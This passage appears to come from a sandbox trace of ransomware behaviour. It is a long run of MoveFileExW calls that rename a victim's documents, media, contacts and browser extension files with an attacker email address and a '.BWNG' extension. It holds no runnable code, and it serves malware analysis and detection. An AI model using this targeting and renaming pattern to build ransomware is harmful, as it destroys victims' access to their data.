Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\[billwong73@yahoo.com].3F9Ttv88-TmQvR7hd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\[billwong73@yahoo.com].3f9ttv88-tmqvr7hd.bwng"), dwFlags=0x1) returned 1 [0132.961] GetTickCount () returned 0x1168b11 [0132.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491325508) returned 1 [0132.961] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\[billwong73@yahoo.com].Tbusa0Qa-qpFi7qSa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\[billwong73@yahoo.com].tbusa0qa-qpfi7qsa.bwng"), dwFlags=0x1) returned 1 [0132.963] GetTickCount () returned 0x1168b11 [0132.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491485148) returned 1 [0132.963] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\[billwong73@yahoo.com].CXrW4Lx3-DkLiAedk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\[billwong73@yahoo.com].cxrw4lx3-dkliaedk.bwng"), dwFlags=0x1) returned 1 [0132.964] GetTickCount () returned 0x1168b11 [0132.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491635115) returned 1 [0132.964] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\[billwong73@yahoo.com].0Ao1LV4E-CjgbxH24.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\[billwong73@yahoo.com].0ao1lv4e-cjgbxh24.bwng"), dwFlags=0x1) returned 1 [0132.966] GetTickCount () returned 0x1168b11 [0132.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491798737) returned 1 [0132.966] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\[billwong73@yahoo.com].KT5oMYTL-tFd8HCov.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\[billwong73@yahoo.com].kt5omytl-tfd8hcov.bwng"), dwFlags=0x1) returned 1 [0132.967] GetTickCount () returned 0x1168b11 [0132.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491967144) returned 1 [0132.968] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\[billwong73@yahoo.com].38pBp2wq-Gwc8JUgv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\[billwong73@yahoo.com].38pbp2wq-gwc8jugv.bwng"), dwFlags=0x1) returned 1 [0132.969] GetTickCount () returned 0x1168b11 [0132.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27492119512) returned 1 [0132.969] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].iP5MPHGv-PrpJDWOf.BWNG" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].ip5mphgv-prpjdwof.bwng"), dwFlags=0x1) returned 1 [0132.970] GetTickCount () returned 0x1168b11 [0132.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27492250095) returned 1 [0132.971] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].52eWWcnL-AxqzGwlJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].52ewwcnl-axqzgwlj.bwng"), dwFlags=0x1) returned 1 [0132.972] GetTickCount () returned 0x1168b11 [0132.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27492380858) returned 1 [0132.972] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\[billwong73@yahoo.com].iojGfrUh-3BULoDgf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\[billwong73@yahoo.com].iojgfruh-3bulodgf.bwng"), dwFlags=0x1) returned 1 [0132.973] GetTickCount () returned 0x1168b11 [0132.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27492536071) returned 1 [0132.973] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].LYJv0pGG-smds8Fke.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].lyjv0pgg-smds8fke.bwng"), dwFlags=0x1) returned 1 [0133.102] GetTickCount () returned 0x1168b9d [0133.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27505459501) returned 1 [0133.103] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\0B619d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\0b619d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\[billwong73@yahoo.com].LwvAsBlo-EeYPt9QJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\[billwong73@yahoo.com].lwvasblo-eeypt9qj.bwng"), dwFlags=0x1) returned 1 [0133.105] GetTickCount () returned 0x1168b9d [0133.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27505735938) returned 1 [0133.105] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].sw6bvcW4-SuD3cwFF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].sw6bvcw4-sud3cwff.bwng"), dwFlags=0x1) returned 1 [0133.107] GetTickCount () returned 0x1168b9d [0133.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27505917249) returned 1 [0133.107] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5bIN1U65.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5bin1u65.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].dTP3zK6o-A0eBISdx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].dtp3zk6o-a0ebisdx.bwng"), dwFlags=0x1) returned 1 [0133.109] GetTickCount () returned 0x1168b9d [0133.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506098836) returned 1 [0133.109] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\naitHy.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\naithy.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].oXTHrEEI-LQmgrJv5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].oxthreei-lqmgrjv5.bwng"), dwFlags=0x1) returned 1 [0133.110] GetTickCount () returned 0x1168b9d [0133.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506265156) returned 1 [0133.111] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\[billwong73@yahoo.com].2Fp9EGFB-AOxtkvPs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\[billwong73@yahoo.com].2fp9egfb-aoxtkvps.bwng"), dwFlags=0x1) returned 1 [0133.112] GetTickCount () returned 0x1168b9d [0133.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506392955) returned 1 [0133.112] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].eztBkAjm-twBV5KMi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].eztbkajm-twbv5kmi.bwng"), dwFlags=0x1) returned 1 [0133.113] GetTickCount () returned 0x1168b9d [0133.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506530811) returned 1 [0133.113] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\[billwong73@yahoo.com].Hkj0tNNI-8v9G1psW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\[billwong73@yahoo.com].hkj0tnni-8v9g1psw.bwng"), dwFlags=0x1) returned 1 [0133.115] GetTickCount () returned 0x1168b9d [0133.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506688645) returned 1 [0133.115] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Bqj54Timls.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bqj54timls.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].GNtiJoWf-OGubV7BK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].gntijowf-ogubv7bk.bwng"), dwFlags=0x1) returned 1 [0133.117] GetTickCount () returned 0x1168bad [0133.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27506976008) returned 1 [0133.118] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jz9cUg9kpDpeZXz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jz9cug9kpdpezxz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].uEKYyt0E-HKcXQWs1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].uekyyt0e-hkcxqws1.bwng"), dwFlags=0x1) returned 1 [0133.119] GetTickCount () returned 0x1168bad [0133.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27507271613) returned 1 [0133.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tSy8mR9G5s3MfNljo6A.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tsy8mr9g5s3mfnljo6a.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].E6SiuZKt-vOxqwIkw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].e6siuzkt-voxqwikw.bwng"), dwFlags=0x1) returned 1 [0133.122] GetTickCount () returned 0x1168bad [0133.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27507405347) returned 1 [0133.122] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\[billwong73@yahoo.com].oHBENgf0-sYR3TGRY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\[billwong73@yahoo.com].ohbengf0-syr3tgry.bwng"), dwFlags=0x1) returned 1 [0133.123] GetTickCount () returned 0x1168bad [0133.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27507565408) returned 1 [0133.124] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\W_K9K8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\w_k9k8.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].YebLS4Ln-H681vyo9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].yebls4ln-h681vyo9.bwng"), dwFlags=0x1) returned 1 [0133.125] GetTickCount () returned 0x1168bad [0133.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27507739028) returned 1 [0133.125] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\WgGNU1qgE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\wggnu1qge.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].cwqK0gEV-yKnRUS9o.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].cwqk0gev-yknrus9o.bwng"), dwFlags=0x1) returned 1 [0133.127] GetTickCount () returned 0x1168bad [0133.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27507878605) returned 1 [0133.127] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fKfN91-e_vKy.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fkfn91-e_vky.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].MrXhlfLu-nA62Pu9l.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].mrxhlflu-na62pu9l.bwng"), dwFlags=0x1) returned 1 [0133.128] GetTickCount () returned 0x1168bad [0133.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27508035230) returned 1 [0133.128] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\A886.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\a886.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].dMVOfjsx-tkYshUqK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].dmvofjsx-tkyshuqk.bwng"), dwFlags=0x1) returned 1 [0133.129] GetTickCount () returned 0x1168bad [0133.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27508172484) returned 1 [0133.130] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\1U7c.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\1u7c.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].aKykyMCQ-VAtLO1ye.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].akykymcq-vatlo1ye.bwng"), dwFlags=0x1) returned 1 [0133.137] GetTickCount () returned 0x1168bbc [0133.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27508973373) returned 1 [0133.138] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\TIjFKfbrpy2GwNU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\tijfkfbrpy2gwnu.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].dWsskXSc-UQKFFeSJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].dwsskxsc-uqkffesj.bwng"), dwFlags=0x1) returned 1 [0133.139] GetTickCount () returned 0x1168bbc [0133.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27509094572) returned 1 [0133.139] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\[billwong73@yahoo.com].4eGUMXlQ-H9LbvnkE.BWNG" (normalized: "c:\\users\\public\\recorded tv\\sample media\\[billwong73@yahoo.com].4egumxlq-h9lbvnke.bwng"), dwFlags=0x1) returned 1 [0133.140] GetTickCount () returned 0x1168bbc [0133.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27509197888) returned 1 [0133.140] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\[billwong73@yahoo.com].3c8yxBir-2mmj11RX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\[billwong73@yahoo.com].3c8yxbir-2mmj11rx.bwng"), dwFlags=0x1) returned 1 [0133.141] GetTickCount () returned 0x1168bbc [0133.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27509353528) returned 1 [0133.142] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\[billwong73@yahoo.com].XUuISPZL-S3hd3HdF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\[billwong73@yahoo.com].xuuispzl-s3hd3hdf.bwng"), dwFlags=0x1) returned 1 [0133.143] GetTickCount () returned 0x1168bbc [0133.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27509514665) returned 1 [0133.143] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\[billwong73@yahoo.com].N2LsuP82-26uWRwt3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\[billwong73@yahoo.com].n2lsup82-26uwrwt3.bwng"), dwFlags=0x1) returned 1 [0133.144] GetTickCount () returned 0x1168bbc [0133.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27509669830) returned 1 [0133.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\[billwong73@yahoo.com].9KkNrriN-g3LXdl6A.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\[billwong73@yahoo.com].9kknrrin-g3lxdl6a.bwng"), dwFlags=0x1) returned 1 [0133.283] GetTickCount () returned 0x1168c39 [0133.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27523560039) returned 1 [0133.284] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 